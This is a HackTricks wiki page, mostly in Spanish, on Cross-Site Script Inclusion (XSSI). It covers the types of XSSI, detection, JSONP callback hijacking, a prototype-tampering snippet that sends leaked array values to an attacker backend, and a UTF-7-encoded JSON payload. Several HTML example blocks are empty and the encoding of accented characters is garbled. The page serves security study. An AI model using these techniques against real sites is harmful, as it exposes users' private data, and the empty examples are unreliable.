# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
**Cross-Site Script Inclusion (XSSI)** es una vulnerabilidad que surge de la naturaleza de la etiqueta `script` en HTML. A diferencia de la mayor铆a de los recursos, que est谩n sujetos a la **Same-Origin Policy (SOP)**, los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento est谩 destinado a facilitar el uso de bibliotecas y otros recursos alojados en diferentes servidores, pero tambi茅n introduce un riesgo potencial de seguridad.
### Key Characteristics of **XSSI**:
- **Bypass of SOP**: Los scripts est谩n exentos de la **Same-Origin Policy**, lo que les permite ser incluidos entre dominios.
- **Data Exposure**: Un atacante puede explotar este comportamiento para leer datos cargados a trav茅s de la etiqueta `script`.
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** es particularmente relevante para JavaScript din谩mico o **JSON with Padding (JSONP)**. Estas tecnolog铆as a menudo utilizan informaci贸n de "autoridad ambiental" (como cookies) para la autenticaci贸n. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen autom谩ticamente en la solicitud.
- **Authentication Token Leakage**: Si un atacante puede enga帽ar al navegador de un usuario para que solicite un script de un servidor que controla, podr铆a acceder a informaci贸n sensible contenida en estas solicitudes.
### Types
1. **Static JavaScript** - Esta representa la forma convencional de XSSI.
2. **Static JavaScript with Authentication** - Este tipo es distinto porque requiere autenticaci贸n para acceder.
3. **Dynamic JavaScript** - Involucra JavaScript que genera contenido din谩micamente.
4. **Non-JavaScript** - Se refiere a vulnerabilidades que no involucran JavaScript directamente.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
### Regular XSSI
En este enfoque, la informaci贸n privada est谩 incrustada dentro de un archivo JavaScript accesible globalmente. Los atacantes pueden identificar estos archivos utilizando m茅todos como lectura de archivos, b煤squedas de palabras clave o expresiones regulares. Una vez localizados, el script que contiene informaci贸n privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuaci贸n se muestra una t茅cnica de explotaci贸n de ejemplo:
```html
```
### Dynamic-JavaScript-based-XSSI y Authenticated-JavaScript-XSSI
Estos tipos de ataques XSSI implican que informaci贸n confidencial se a帽ade din谩micamente al script en respuesta a la solicitud de un usuario. La detecci贸n se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la informaci贸n difiere, puede indicar la presencia de informaci贸n confidencial. Este proceso se puede automatizar utilizando herramientas como la extensi贸n de Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando m茅todos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la funci贸n de callback para recuperar la informaci贸n. Esto se puede hacer manipulando objetos globales o configurando una funci贸n para ser ejecutada por la respuesta JSONP, como se demuestra a continuaci贸n:
```html
```
```html
```
Para variables que no residen en el espacio de nombres global, *prototype tampering* a veces puede ser explotado. Esta t茅cnica aprovecha el dise帽o de JavaScript, donde la interpretaci贸n del c贸digo implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como `Array`'s `slice`, los atacantes pueden acceder y leak variables no globales:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
M谩s detalles sobre los vectores de ataque se pueden encontrar en el trabajo del investigador de seguridad [Sebastian Lekies](https://twitter.com/slekies), quien mantiene una lista de [vectores](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
La investigaci贸n de Takeshi Terada introduce otra forma de XSSI, donde archivos Non-Script, como CSV, son filtrados entre or铆genes al ser incluidos como fuentes en una etiqueta `script`. Instancias hist贸ricas de XSSI, como el ataque de Jeremiah Grossman en 2006 para leer una libreta de direcciones completa de Google y la filtraci贸n de datos JSON de Joe Walker en 2007, destacan la gravedad de estas amenazas. Adem谩s, Gareth Heyes describe una variante de ataque que involucra JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectiva en ciertos navegadores:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}